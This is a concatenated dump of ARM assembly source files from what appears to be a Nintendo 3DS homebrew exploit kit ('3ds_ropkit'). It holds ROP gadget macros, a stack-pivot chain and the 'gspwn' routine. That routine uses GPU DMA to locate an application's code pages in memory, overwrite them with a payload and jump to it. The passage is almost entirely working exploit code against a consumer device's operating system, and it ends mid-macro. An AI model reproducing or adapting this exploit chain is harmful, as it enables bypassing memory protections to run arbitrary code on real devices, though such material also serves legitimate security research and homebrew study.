r1/r6 - text address target 164 | @ r2/r7 - target text page count 165 | @ r3/r8 - array of linear offsets (excepts accessable length to be 4*r2) 166 | @ r12/r10 - currently searching linear offset (offset copied out with gspwn to buffer) 167 | @ returns: 168 | @ r0 - total pages found 169 | search_linear_buffer: 170 | push {r0-r3, r4-r10, r11, lr} 171 | pop {r5-r8} 172 | mov r10, r12 173 | mov r11, #0 174 | @ we are going from end to start 175 | mov r4, #0x100 176 | search_linear_buffer_loop: 177 | subs r4, r4, #1 178 | bmi search_linear_buffer_loop_end 179 | mov r9, r7 180 | text_page_cmp_loop: 181 | subs r9, r9, #1 182 | bmi search_linear_buffer_loop 183 | add r0, r5, r4, lsl #12 184 | add r1, r6, r9, lsl #12 185 | mov r2, #0x1000 186 | bl memcmp32 187 | movs r0, r0 188 | bne text_page_cmp_loop 189 | add r0, r10, r4, lsl #12 190 | str r0, [r8, r9, lsl #2] 191 | add r11, r11, #1 192 | b text_page_cmp_loop 193 | search_linear_buffer_loop_end: 194 | mov r0, r11 195 | pop {r4-r10, r11, pc} 196 | 197 | @ r0 - linear .text vmem array 198 | @ r1 - page count 199 | copy_otherapp_from_save_to_text: 200 | push {r0-r1, r4-r5, r7, lr} 201 | pop {r4-r5} 202 | adr r7, .Lotherapp_spaces 203 | ldm r7, {r0-r2} 204 | mov r7, r0 205 | bl TEXTABSTRACTPTR(MEMCPY) 206 | otherapp_gspwn_loop: 207 | subs r5, r5, #1 208 | popmi {r4-r5, r7, pc} 209 | add r0, r7, r5, lsl #12 210 | ldr r1, [r4, r5, lsl #2] 211 | mov r2, #0x1000 212 | mov r3, r0 213 | bl flush_and_gspwn 214 | b otherapp_gspwn_loop 215 | .Lotherapp_spaces: 216 | .word ROPKIT_LINEARMEM_BUF @ work space 217 | .word __otherapp_start__ @ save source 218 | .word __otherapp_size__ @ size 219 | 220 | @ except 32bit aligned and length all the way 221 | memcmp32: 222 | push {lr} 223 | mov lr, r0 224 | memcmp32_loop: 225 | subs r2, r2, #4 226 | movmi r0, #0 227 | popmi {pc} 228 | ldr r3, [lr], #4 229 | ldr r12, [r1], #4 230 | subs r0, r3, r12 231 | popne {pc} 232 | b memcmp32_loop 233 | 234 | @ r0 - source 235 | @ r1 - destination 236 | @ r2 - size 237 | call_gxlow_cmd4: 238 | push {lr} 239 | mov r12, #8 240 | mvn r3, #0 241 | push {r3, r12} 242 | mvn r12, #0 243 | push {r3, r12} 244 | @ return GXLOW_CMD4(source, destination, size, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0x8) 245 | bl TEXTABSTRACTPTR(GXLOW_CMD4) 246 | pop {r1-r3, r12, pc} @ pop to 4 scratch registers to do same as add sp, sp, #16 247 | 248 | @ r0 - source 249 | @ r1 - destination 250 | @ r2 - size 251 | @ r3 - flush address 252 | flush_and_gspwn: 253 | push {r0-r2, lr} 254 | mov r0, r3 255 | mov r1, r2 256 | bl TEXTABSTRACTPTR(GSPGPU_FlushDataCache) 257 | bl CmpThrow 258 | pop {r0-r2} 259 | bl call_gxlow_cmd4 260 | bl CmpThrow 261 | ldr r0, .Lsleep_transfer_half 262 | mov r1, #0 263 | svc 0x0A 264 | pop {pc} 265 | .Lsleep_transfer_half: 266 | .word 150000000 267 | 268 | miniappend: 269 | -------------------------------------------------------------------------------- /sploit/3ds_ropkit/payload.s: -------------------------------------------------------------------------------- 1 | .arm 2 | 3 | #include "../ropconstants.h" 4 | 5 | #define ROPKIT_LINEARMEM_REGIONBASE 0x30000000 6 | #define ROPKIT_LINEARMEM_BUF (ROPKIT_LINEARMEM_REGIONBASE+0x100000) 7 | 8 | #define ROPKIT_BINPAYLOAD_PATH "" 9 | @#define ROPKIT_MOUNTSAVEDATA 10 | #define ROPKIT_BINLOAD_ADDR ROPKIT_LINEARMEM_BUF 11 | #define ROPKIT_BINLOAD_SIZE 0x1000 12 | #define ROPKIT_TMPDATA 0x0FFFc000 13 | #define ROPKIT_BINLOAD_TEXTOFFSET 0x0000 14 | #define ROPKIT_ENABLETERMINATE_GSPTHREAD 15 | #define ROPKIT_BEFOREJUMP_CACHEBUFADDR 0x30000000 16 | #define ROPKIT_BEFOREJUMP_CACHEBUFSIZE 0x800000 //large gsgpu flush fixes our new3ds L2 cache issues - and increases stability for old3ds 17 | 18 | #define ROPBUFLOC(x) (x) 19 | 20 | #include "ropkit_ropinclude.s" 21 | 22 | ropstackstart: 23 | CALLFUNC_NOSP MEMCPY, ROPKIT_BINLOAD_ADDR, 0x100000, ROPKIT_BINLOAD_SIZE, 0 24 | CALLFUNC_NOSP MEMCPY, ROPKIT_BINLOAD_ADDR, (miniapp), (miniappend - miniapp), 0 25 | #include "ropkit_boototherapp.s" 26 | #include "miniapp.s" 27 | 28 | #ifdef ROP_POPR3_ADDSPR3_POPPC 29 | ropkit_cmpobject: 30 | .word (ROPBUFLOC(ropkit_cmpobject) + 0x4) @ Vtable-ptr 31 | .fill (0x40 / 4), 4, STACK_PIVOT @ Vtable 32 | #endif 33 | -------------------------------------------------------------------------------- /sploit/3ds_ropkit/ropkit_boototherapp.s: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | @ This is intended to be included by a regular-application exploit .s. 4 | 5 | #ifndef ROPKIT_TMPDATA 6 | #define ROPKIT_TMPDATA 0x0FFF0000 7 | #endif 8 | 9 | #define ropkit_IFile_ctx (ROPKIT_TMPDATA+4) 10 | 11 | #define ROPKIT_CUR_TEXT_VMEMPTR (ROPKIT_TMPDATA+0x2C) 12 | #define ROPKIT_CUR_TEXT_LINEARPAGEPTR (ROPKIT_TMPDATA+0x30) 13 | #define ROPKIT_CUR_TEXT_LINEARPAGEPTR_TMP (ROPKIT_TMPDATA+0x34) 14 | #define ROPKIT_LINEARPAGEARRAY_CURPTR (ROPKIT_TMPDATA+0x38) 15 | #define ROPKIT_LINEARPAGEARRAY (ROPKIT_TMPDATA+0x3C) 16 | 17 | #define ROPKIT_ROPBAK (ROPKIT_TMPDATA+0x100) 18 | 19 | #ifndef ROPKIT_BINLOAD_SIZE 20 | #define ROPKIT_BINLOAD_SIZE 0xC000 21 | #endif 22 | 23 | #define ROPKIT_LINEARMEM_WORKBUF (ROPKIT_LINEARMEM_BUF+ROPKIT_BINLOAD_SIZE) 24 | 25 | #ifndef ROPKIT_BINLOAD_ADDR 26 | #define ROPKIT_BINLOAD_ADDR ROPKIT_LINEARMEM_BUF 27 | #endif 28 | 29 | #ifndef ROPKIT_BINLOAD_TEXTOFFSET 30 | #define ROPKIT_BINLOAD_TEXTOFFSET 0x1000 31 | #endif 32 | 33 | #ifndef ROPKIT_BINPAYLOAD_PATH 34 | #define ROPKIT_BINPAYLOAD_PATH "data:/payload.bin" 35 | #endif 36 | 37 | #ifndef ROPKIT_OTHERAPP_NEWSP_ADDR 38 | #define ROPKIT_OTHERAPP_NEWSP_ADDR (0x10000000-4) 39 | #endif 40 | 41 | #define ROPKIT_TRANSFER_CHUNKSIZE 0x100000 42 | 43 | #ifdef ROPKIT_ENABLETERMINATE_GSPTHREAD 44 | @ Set the flag for terminating the GSP thread. 45 | ROPMACRO_WRITEWORD GSPTHREAD_OBJECTADDR+0x77, 0x1 46 | #endif 47 | 48 | /* 49 | #ifdef ROPKIT_MOUNTSD 50 | CALLFUNC_NOSP FS_MountSdmc, ROPBUFLOC(ropkit_sd_archivename), 0, 0, 0 51 | #endif 52 | 53 | #ifdef ROPKIT_MOUNTSAVEDATA 54 | CALLFUNC_NOSP FS_MountSavedata, ROPBUFLOC(ropkit_savedata_archivename), 0, 0, 0 55 | #endif 56 | 57 | @ Load the file into the buffer. 58 | 59 | CALLFUNC_NOSP IFile_Open, ropkit_IFile_ctx, ROPBUFLOC(ropkit_payload_path), 1, 0 60 | 61 | #ifdef ROPKIT_BINPAYLOAD_FILEOFFSET //Optional. Reuse IFile_Read for file-"seeking", so that a IFile_Seek pattern doesn't need added. Hence, ROPKIT_BINPAYLOAD_FILEOFFSET should be a "size" that fits under the buffer at ROPKIT_BINLOAD_ADDR. 62 | CALLFUNC_NOSP IFile_Read, ropkit_IFile_ctx, ROPKIT_TMPDATA, ROPKIT_BINLOAD_ADDR, ROPKIT_BINPAYLOAD_FILEOFFSET 63 | COND_THROWFATALERR 64 | #endif 65 | 66 | CALLFUNC_NOSP IFile_Read, ropkit_IFile_ctx, ROPKIT_TMPDATA, ROPKIT_BINLOAD_ADDR, ROPKIT_BINLOAD_SIZE 67 | COND_THROWFATALERR 68 | 69 | ROPMACRO_IFile_Close ropkit_IFile_ctx 70 | */ 71 | 72 | @ Copy APPMEMTYPE to ROPKIT_TMPDATA+0x24. 73 | ROPMACRO_COPYWORD (ROPKIT_TMPDATA+0x24), 0x1FF80030 74 | 75 | @ Copy the above tmpdata to the value words used in each of the below add-macros. 76 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_appmemtype_addstart0) + ROPMACRO_LDDRR0_ADDR1_STRADDR_VALUEOFFSET), (ROPKIT_TMPDATA+0x24) 77 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_appmemtype_addstart1) + ROPMACRO_LDDRR0_ADDR1_STRADDR_VALUEOFFSET), (ROPKIT_TMPDATA+0x24) 78 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_appmemtype_addstart2) + ROPMACRO_LDDRR0_ADDR1_STRADDR_VALUEOFFSET), (ROPKIT_TMPDATA+0x24) 79 | 80 | @ These 3 add-macros calculate the offset to use in the ropkit_appmemtype_appmemsize_table by multiplying APPMEMTYPE loaded above by 4 basically. 81 | 82 | ropkit_appmemtype_addstart0: 83 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x24), (ROPKIT_TMPDATA+0x24), 0 84 | 85 | ropkit_appmemtype_addstart1: 86 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x24), (ROPKIT_TMPDATA+0x24), 0 87 | 88 | ropkit_appmemtype_addstart2: 89 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x24), (ROPKIT_TMPDATA+0x24), 0 90 | 91 | @ Calculate the address in the table to use, by adding with the table start address. 92 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x24), (ROPKIT_TMPDATA+0x24), ROPBUFLOC(ropkit_appmemtype_appmemsize_table) 93 | 94 | @ r0 = *(ROPKIT_TMPDATA+0x24) 95 | ROP_LOADR0_FROMADDR (ROPKIT_TMPDATA+0x24) 96 | 97 | @ *(ROPKIT_TMPDATA+0x28) = *r0. Hence, *(ROPKIT_TMPDATA+0x28) = word value from the table. 98 | ROPMACRO_COPYWORD_FROMR0 (ROPKIT_TMPDATA+0x28) 99 | 100 | @ Calculate the linearmem addr. 101 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x28), (ROPKIT_TMPDATA+0x28), (ROPKIT_LINEARMEM_REGIONBASE) 102 | 103 | @ *ROPKIT_LINEARPAGEARRAY_CURPTR = ROPKIT_LINEARPAGEARRAY 104 | ROPMACRO_WRITEWORD ROPKIT_LINEARPAGEARRAY_CURPTR, ROPKIT_LINEARPAGEARRAY 105 | 106 | @ Set *ROPKIT_CUR_TEXT_VMEMPTR to (0x00100000 + ROPKIT_BINLOAD_TEXTOFFSET). 107 | ROPMACRO_WRITEWORD ROPKIT_CUR_TEXT_VMEMPTR, (0x00100000 + ROPKIT_BINLOAD_TEXTOFFSET) 108 | 109 | @ Backup the ROP-chain data. 110 | CALLFUNC_NOSP MEMCPY, ROPKIT_ROPBAK, ROPBUFLOC(ropkit_searchloop_lpstart), ((ropkit_searchloop_lpnext - ropkit_searchloop_lpstart) + CALLFUNC_NOSP_FUNCADROFFSET), 0 111 | 112 | ropkit_searchloop_lpstart: 113 | @ Check whether the start of the linearmem region was reached, jump to ropkit_searchloop_lpstart_aftercmp otherwise. 114 | ROPMACRO_CMPDATA (ROPKIT_TMPDATA+0x28), ROPKIT_LINEARMEM_REGIONBASE, ROPBUFLOC(ropkit_searchloop_lpstart_aftercmp) 115 | 116 | @ Trigger a crash since the target .text pages were not found. 117 | .word 0xa0b0c0d0 118 | 119 | ropkit_searchloop_lpstart_aftercmp: 120 | @ Subtract the current linearmem ptr by ROPKIT_TRANSFER_CHUNKSIZE. 121 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x28), (ROPKIT_TMPDATA+0x28), (-ROPKIT_TRANSFER_CHUNKSIZE) 122 | 123 | @ Copy the current chunk to ROPKIT_LINEARMEM_WORKBUF. 124 | CALLFUNC_NOSP GSPGPU_FlushDataCache, ROPKIT_LINEARMEM_WORKBUF, ROPKIT_TRANSFER_CHUNKSIZE, 0, 0 125 | 126 | CALL_GXCMD4_LDRSRC (ROPKIT_TMPDATA+0x28), ROPKIT_LINEARMEM_WORKBUF, ROPKIT_TRANSFER_CHUNKSIZE 127 | 128 | @ Wait 0.1s for the transfer to finish. 129 | CALLFUNC_R0R1 svcSleepThread, 100000000, 0 130 | 131 | @ Set *ROPKIT_CUR_TEXT_LINEARPAGEPTR to ROPKIT_LINEARMEM_WORKBUF. 132 | ROPMACRO_WRITEWORD ROPKIT_CUR_TEXT_LINEARPAGEPTR, ROPKIT_LINEARMEM_WORKBUF 133 | 134 | ropkit_searchloop_cmptextword_start: 135 | @ r0 = *ROPKIT_CUR_TEXT_VMEMPTR 136 | ROP_LOADR0_FROMADDR ROPKIT_CUR_TEXT_VMEMPTR 137 | 138 | @ Write *r0 to the cmpword used in the below macro. 139 | ROPMACRO_COPYWORD_FROMR0 (ROPBUFLOC(ropkit_searchloop_cmptextword_macrostart) + ROPMACRO_CMPDATA_CMPWORD_OFFSET) 140 | 141 | @ Write *ROPKIT_CUR_TEXT_LINEARPAGEPTR to the cmpaddr used in the below macro. 142 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_searchloop_cmptextword_macrostart) + ROPMACRO_CMPDATA_CMPADDR_OFFSET), (ROPKIT_CUR_TEXT_LINEARPAGEPTR) 143 | 144 | @ Compare the first word in the current linearmem page with the .text page word, on fail jump to ropkit_searchloop_cmptextword_lpnext. 145 | ropkit_searchloop_cmptextword_macrostart: 146 | ROPMACRO_CMPDATA 0, 0, ROPBUFLOC(ropkit_searchloop_cmptextword_lpnext) 147 | 148 | ROPMACRO_LDDRR0_ADDR1_STRADDR ROPKIT_CUR_TEXT_VMEMPTR, ROPKIT_CUR_TEXT_VMEMPTR, 0x1000 149 | 150 | @ *ROPKIT_CUR_TEXT_LINEARPAGEPTR_TMP = *ROPKIT_CUR_TEXT_LINEARPAGEPTR - 151 | ROPMACRO_LDDRR0_ADDR1_STRADDR ROPKIT_CUR_TEXT_LINEARPAGEPTR_TMP, ROPKIT_CUR_TEXT_LINEARPAGEPTR, -ROPKIT_LINEARMEM_WORKBUF 152 | 153 | @ Copy the actual .text linearmem addr to the value word used in the below add-macro. 154 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_searchloop_cmptextword_matchfound_addrcalc_addstart1) + ROPMACRO_LDDRR0_ADDR1_STRADDR_VALUEOFFSET), (ROPKIT_TMPDATA+0x28) 155 | 156 | ropkit_searchloop_cmptextword_matchfound_addrcalc_addstart1: 157 | ROPMACRO_LDDRR0_ADDR1_STRADDR ROPKIT_CUR_TEXT_LINEARPAGEPTR_TMP, ROPKIT_CUR_TEXT_LINEARPAGEPTR_TMP, 0 158 | 159 | @ Overwrite the dstaddr in the below macro with the array-entry address from ROPKIT_LINEARPAGEARRAY_CURPTR. 160 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_searchloop_cmptextword_writearrayentry_macrostart) + ROPMACRO_COPYWORD_DSTADDROFFSET), ROPKIT_LINEARPAGEARRAY_CURPTR 161 | 162 | @ Write the linearmem page address to the current array-entry. 163 | ropkit_searchloop_cmptextword_writearrayentry_macrostart: 164 | ROPMACRO_COPYWORD 0, ROPKIT_CUR_TEXT_LINEARPAGEPTR_TMP 165 | 166 | @ Update the address stored at ROPKIT_LINEARPAGEARRAY_CURPTR. 167 | ROPMACRO_LDDRR0_ADDR1_STRADDR ROPKIT_LINEARPAGEARRAY_CURPTR, ROPKIT_LINEARPAGEARRAY_CURPTR, 0x4 168 | 169 | @ Check whether the end of the vmem .text payload area was reached. If so jump to ropkit_searchloop_finished, otherwise jump to ropkit_searchloop_cmptextword_lpnext. 170 | ROPMACRO_CMPDATA ROPKIT_CUR_TEXT_VMEMPTR, (0x00100000 + ROPKIT_BINLOAD_TEXTOFFSET + ROPKIT_BINLOAD_SIZE), ROPBUFLOC(ropkit_searchloop_cmptextword_lpnext) 171 | ROPMACRO_STACKPIVOT ROPBUFLOC(ropkit_searchloop_finished), ROP_POPPC 172 | 173 | ropkit_searchloop_cmptextword_lpnext: 174 | @ Update the address at ROPKIT_CUR_TEXT_LINEARPAGEPTR, and then jump to ropkit_searchloop_cmptextword_start if the end of the linearmem buffer wasn't reached yet. 175 | ROPMACRO_LDDRR0_ADDR1_STRADDR ROPKIT_CUR_TEXT_LINEARPAGEPTR, ROPKIT_CUR_TEXT_LINEARPAGEPTR, 0x1000 176 | ROPMACRO_CMPDATA ROPKIT_CUR_TEXT_LINEARPAGEPTR, (ROPKIT_LINEARMEM_WORKBUF + ROPKIT_TRANSFER_CHUNKSIZE), ROPBUFLOC(ropkit_searchloop_cmptextword_start) 177 | 178 | ropkit_searchloop_lpnext: 179 | @ Restore the ROP-chain data. 180 | CALLFUNC_NOSP MEMCPY, ROPBUFLOC(ropkit_searchloop_lpstart), ROPKIT_ROPBAK, ((ropkit_searchloop_lpnext - ropkit_searchloop_lpstart) + CALLFUNC_NOSP_FUNCADROFFSET), 0 181 | ROPMACRO_WRITEWORD (ROPBUFLOC(ropkit_searchloop_lpnext) + CALLFUNC_NOSP_FUNCADROFFSET), MEMCPY @ Restore the funcaddr used above(this can't be done from the memcpy since that would overwrite the saved LR). 182 | ROPMACRO_STACKPIVOT ROPBUFLOC(ropkit_searchloop_lpstart), ROP_POPPC 183 | 184 | ropkit_searchloop_finished: 185 | 186 | @ Write the payload codebin into .text. 187 | 188 | @ *ROPKIT_LINEARPAGEARRAY_CURPTR = ROPKIT_LINEARPAGEARRAY 189 | ROPMACRO_WRITEWORD ROPKIT_LINEARPAGEARRAY_CURPTR, ROPKIT_LINEARPAGEARRAY 190 | 191 | @ *(ROPKIT_TMPDATA+0x28) = ROPKIT_BINLOAD_ADDR 192 | ROPMACRO_WRITEWORD (ROPKIT_TMPDATA+0x28), ROPKIT_BINLOAD_ADDR 193 | 194 | @ Backup the ROP-chain data. 195 | CALLFUNC_NOSP MEMCPY, ROPKIT_ROPBAK, ROPBUFLOC(ropkit_copycodebin_lpstart), ((ropkit_copycodebin_lpnext - ropkit_copycodebin_lpstart) + CALLFUNC_NOSP_FUNCADROFFSET), 0 196 | 197 | ropkit_copycodebin_lpstart: 198 | @ Copy *ROPKIT_LINEARPAGEARRAY_CURPTR to the dstaddr used in the below macro. 199 | ROPMACRO_COPYWORD (ROPBUFLOC(ropkit_copycodebin_gxcmd4) + CALLFUNC_LDRR0R1_R1OFFSET), ROPKIT_LINEARPAGEARRAY_CURPTR 200 | 201 | ropkit_copycodebin_gxcmd4: 202 | CALL_GXCMD4_LDRSRCDST (ROPKIT_TMPDATA+0x28), 0, 0x1000 203 | 204 | @ Update the address used for the srcaddr. 205 | ROPMACRO_LDDRR0_ADDR1_STRADDR (ROPKIT_TMPDATA+0x28), (ROPKIT_TMPDATA+0x28), 0x1000 206 | 207 | @ Update the address stored at ROPKIT_LINEARPAGEARRAY_CURPTR. 208 | ROPMACRO_LDDRR0_ADDR1_STRADDR ROPKIT_LINEARPAGEARRAY_CURPTR, ROPKIT_LINEARPAGEARRAY_CURPTR, 0x4 209 | 210 | ropkit_copycodebin_lpnext: 211 | @ Restore the ROP-chain data. 212 | CALLFUNC_NOSP MEMCPY, ROPBUFLOC(ropkit_copycodebin_lpstart), ROPKIT_ROPBAK, ((ropkit_copycodebin_lpnext - ropkit_copycodebin_lpstart) + CALLFUNC_NOSP_FUNCADROFFSET), 0 213 | ROPMACRO_WRITEWORD (ROPBUFLOC(ropkit_copycodebin_lpnext) + CALLFUNC_NOSP_FUNCADROFFSET), MEMCPY @ Restore the funcaddr used above(this can't be done from the memcpy since that would overwrite the saved LR). 214 | 215 | @ If the end of the payload wasn't reached yet, jump to ropkit_copycodebin_lpstart. 216 | ROPMACRO_CMPDATA (ROPKIT_TMPDATA+0x28), (ROPKIT_BINLOAD_ADDR + ROPKIT_BINLOAD_SIZE), ROPBUFLOC(ropkit_copycodebin_lpstart) 217 | 218 | @ Wait 0.1s for the transfers to finish. 219 | CALLFUNC_R0R1 svcSleepThread, 100000000, 0 220 | 221 | #ifdef ROPKIT_BEFOREJUMP_CACHEBUFADDR//Try to get cache invalidated/whatever for otherapp via accessing+flushing memory in linearmem. 222 | @CALLFUNC_NOSP MEMCPY, ROPKIT_BEFOREJUMP_CACHEBUFADDR, 0x100000, ROPKIT_BEFOREJUMP_CACHEBUFSIZE, 0 223 | CALLFUNC_NOSP GSPGPU_FlushDataCache, ROPKIT_BEFOREJUMP_CACHEBUFADDR, ROPKIT_BEFOREJUMP_CACHEBUFSIZE, 0, 0 224 | #endif 225 | 226 | @ Disable paramblk setup, miniapp doesn't require it 227 | /* 228 | @ Setup the paramblk. 229 | 230 | CALLFUNC_NOSP MEMSET32_OTHER, ROPKIT_LINEARMEM_WORKBUF, 0x1000, 0, 0 231 | 232 | ROPMACRO_WRITEWORD (ROPKIT_LINEARMEM_WORKBUF + 0x1c), GXLOW_CMD4 233 | ROPMACRO_WRITEWORD (ROPKIT_LINEARMEM_WORKBUF + 0x20), GSPGPU_FlushDataCache 234 | ROPMACRO_WRITEWORD (ROPKIT_LINEARMEM_WORKBUF + 0x48), 0x8d @ Flags 235 | ROPMACRO_WRITEWORD (ROPKIT_LINEARMEM_WORKBUF + 0x58), GSPGPU_SERVHANDLEADR 236 | */ 237 | 238 | @ Jump to the payload. 239 | CALLFUNC_R0R1 (0x00100000 + ROPKIT_BINLOAD_TEXTOFFSET), ROPKIT_LINEARMEM_WORKBUF, ROPKIT_OTHERAPP_NEWSP_ADDR 240 | 241 | .word 0x40506070 242 | 243 | /* 244 | #ifdef ROPKIT_MOUNTSD 245 | ropkit_sd_archivename: 246 | .string "sd:" 247 | .align 2 248 | #endif 249 | 250 | #ifdef ROPKIT_MOUNTSAVEDATA 251 | ropkit_savedata_archivename: 252 | .string "ext:" 253 | .align 2 254 | #endif 255 | 256 | ropkit_payload_path: 257 | .string16 ROPKIT_BINPAYLOAD_PATH 258 | .align 2 259 | */ 260 | 261 | ropkit_appmemtype_appmemsize_table: @ This is a table for the actual APPLICATION mem-region size, for each APPMEMTYPE. 262 | .word 0x04000000 @ type0 263 | .word 0x04000000 @ type1 264 | .word 0x06000000 @ type2 265 | .word 0x05000000 @ type3 266 | .word 0x04800000 @ type4 267 | .word 0x02000000 @ type5 268 | .word 0x07C00000 @ type6 269 | .word 0x0B200000 @ type7 270 | -------------------------------------------------------------------------------- /sploit/3ds_ropkit/ropkit_ropinclude.s: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define ROP_BXR1 POP_R4LR_BXR1+4 4 | #define ROP_BXLR ROP_LDR_R0FROMR0+4 //"bx lr" 5 | 6 | #define ROP_EQBXLR_NE_CALLVTABLEFUNCPTR (IFile_Close+0x4) //Offset 0x4 in IFile_Close for ROP conditional execution. For condition-code EQ, bx-lr is executed, otherwise a vtable funcptr call with the r0 object is executed. 7 | 8 | #ifdef THROWFATALERR_IPC 9 | #define ROP_SENDCMDADDR THROWFATALERR_IPC+0x14 //Writes r0 to r4+0, then copies 0x80-bytes from r1 to r4+4. Then uses svcSendSyncRequest with handle *r5. 10 | #endif 11 | 12 | #ifdef ROP_POPR3_ADDSPR3_POPPC 13 | #define STACKPIVOT_ADR ROP_POPR3_ADDSPR3_POPPC 14 | #endif 15 | 16 | #ifndef ROPBUFLOC 17 | #define ROPBUFLOC(x) (ROPBUF + (x - _start)) 18 | #endif 19 | 20 | @ Size: 0x8 21 | .macro ROP_SETR0 value 22 | #ifdef POP_R0PC 23 | .word POP_R0PC 24 | .word \value 25 | #elif defined (ROP_LDRR0SP_POPR3PC) 26 | .word ROP_LDRR0SP_POPR3PC 27 | .word \value 28 | #else 29 | #error "The gadget for setting r0 is not defined." 30 | #endif 31 | .endm 32 | 33 | @ Size: 0x8 34 | .macro ROP_SETR1 value 35 | .word POP_R1PC 36 | .word \value @ r1 37 | .endm 38 | 39 | @ Size: 0x8 + 0xc (0x14) 40 | .macro ROP_SETLR lr 41 | ROP_SETR1 ROP_POPPC 42 | 43 | .word POP_R4LR_BXR1 44 | .word 0 @ r4 45 | .word \lr 46 | .endm 47 | 48 | @ Size: 0x34 49 | .macro ROP_SETLR_OTHER lr 50 | .word POP_R2R6PC 51 | .word ROP_POPPC @ r2 52 | .word 0 @ r3 53 | .word 0 @ r4 54 | .word 0 @ r5 55 | .word 0 @ r6 56 | 57 | .word POP_R4R8LR_BXR2 58 | .word 0 @ r4 59 | .word 0 @ r5 60 | .word 0 @ r6 61 | .word 0 @ r7 62 | .word 0 @ r8 63 | .word \lr 64 | .endm 65 | 66 | @ Size: 0x14 + 0x8 + 0x4 (0x20) 67 | .macro ROP_LOADR0_FROMADDR addr 68 | ROP_SETLR ROP_POPPC 69 | 70 | ROP_SETR0 \addr 71 | 72 | .word ROP_LDR_R0FROMR0 73 | .endm 74 | 75 | .macro CALLFUNC funcadr, r0, r1, r2, r3, sp0, sp4, sp8, sp12 76 | ROP_SETLR POP_R2R6PC 77 | 78 | ROP_SETR0 \r0 79 | 80 | ROP_SETR1 \r1 81 | 82 | .word POP_R2R6PC 83 | .word \r2 84 | .word \r3 85 | .word 0 @ r4 86 | .word 0 @ r5 87 | .word 0 @ r6 88 | 89 | .word \funcadr 90 | 91 | .word \sp0 92 | .word \sp4 93 | .word \sp8 94 | .word \sp12 95 | .word 0 @ r6 96 | .endm 97 | 98 | @ This is basically: CALLFUNC funcadr, *r0, r1, r2, r3, sp0, sp4, sp8, sp12 99 | .macro CALLFUNC_LOADR0 funcadr, r0, r1, r2, r3, sp0, sp4, sp8, sp12 100 | ROP_LOADR0_FROMADDR \r0 101 | 102 | ROP_SETLR POP_R2R6PC 103 | 104 | ROP_SETR1 \r1 105 | 106 | .word POP_R2R6PC 107 | .word \r2 108 | .word \r3 109 | .word 0 @ r4 110 | .word 0 @ r5 111 | .word 0 @ r6 112 | 113 | .word \funcadr 114 | 115 | .word \sp0 116 | .word \sp4 117 | .word \sp8 118 | .word \sp12 119 | .word 0 @ r6 120 | .endm 121 | 122 | @ This is basically: CALLFUNC funcadr, r0, *r1, r2, r3, sp0, sp4, sp8, sp12 123 | .macro CALLFUNC_LDRR1 funcadr, r0, r1, r2, r3, sp0, sp4, sp8, sp12 124 | ROP_SETLR ROP_POPPC 125 | 126 | ROPMACRO_COPYWORD ROPBUFLOC(. + 0x8 + 0x14 + 0x8 + 0x4), \r1 127 | 128 | ROP_SETLR POP_R2R6PC 129 | 130 | ROP_SETR0 \r0 131 | 132 | ROP_SETR1 0 @ Overwritten by the above rop. 133 | 134 | .word POP_R2R6PC 135 | .word \r2 136 | .word \r3 137 | .word 0 @ r4 138 | .word 0 @ r5 139 | .word 0 @ r6 140 | 141 | .word \funcadr 142 | 143 | .word \sp0 144 | .word \sp4 145 | .word \sp8 146 | .word \sp12 147 | .word 0 @ r6 148 | .endm 149 | 150 | @ This is basically: CALLFUNC funcadr, *r0, *r1, r2, r3, sp0, sp4, sp8, sp12 151 | #define CALLFUNC_LDRR0R1_R1OFFSET 0x14 + ROPMACRO_COPYWORD_SRCADDROFFSET 152 | .macro CALLFUNC_LDRR0R1 funcadr, r0, r1, r2, r3, sp0, sp4, sp8, sp12 153 | ROP_SETLR ROP_POPPC 154 | 155 | ROPMACRO_COPYWORD ROPBUFLOC(. + 0x8 + 0x14 + 0x20 + 0x4), \r1 156 | 157 | ROP_LOADR0_FROMADDR \r0 158 | 159 | ROP_SETLR POP_R2R6PC 160 | 161 | ROP_SETR1 0 @ Overwritten by the above rop. 162 | 163 | .word POP_R2R6PC 164 | .word \r2 165 | .word \r3 166 | .word 0 @ r4 167 | .word 0 @ r5 168 | .word 0 @ r6 169 | 170 | .word \funcadr 171 | 172 | .word \sp0 173 | .word \sp4 174 | .word \sp8 175 | .word \sp12 176 | .word 0 @ r6 177 | .endm 178 | 179 | @ Size: 0x40 180 | #define CALLFUNC_NOSP_FUNCADROFFSET 0x3C 181 | .macro CALLFUNC_NOSP funcadr, r0, r1, r2, r3 182 | ROP_SETLR ROP_POPPC 183 | 184 | ROP_SETR0 \r0 185 | 186 | ROP_SETR1 \r1 187 | 188 | .word POP_R2R6PC 189 | .word \r2 190 | .word \r3 191 | .word 0 @ r4 192 | .word 0 @ r5 193 | .word 0 @ r6 194 | 195 | .word \funcadr 196 | .endm 197 | 198 | @ This is is basically: CALLFUNC_NOSP funcadr, *r0, r1, r2, r3 199 | .macro CALLFUNC_NOSP_LDRR0 funcadr, r0, r1, r2, r3 200 | ROP_LOADR0_FROMADDR \r0 201 | 202 | ROP_SETR1 \r1 203 | 204 | .word POP_R2R6PC 205 | .word \r2 206 | .word \r3 207 | .word 0 @ r4 208 | .word 0 @ r5 209 | .word 0 @ r6 210 | 211 | .word \funcadr 212 | .endm 213 | 214 | @ This is is basically: CALLFUNC_NOSP funcadr, r0, r1, *r2, r3 215 | .macro CALLFUNC_NOSP_LOADR2 funcadr, r0, r1, r2, r3 216 | ROP_SETLR ROP_POPPC 217 | 218 | ROPMACRO_COPYWORD ROPBUFLOC(. + 0x8 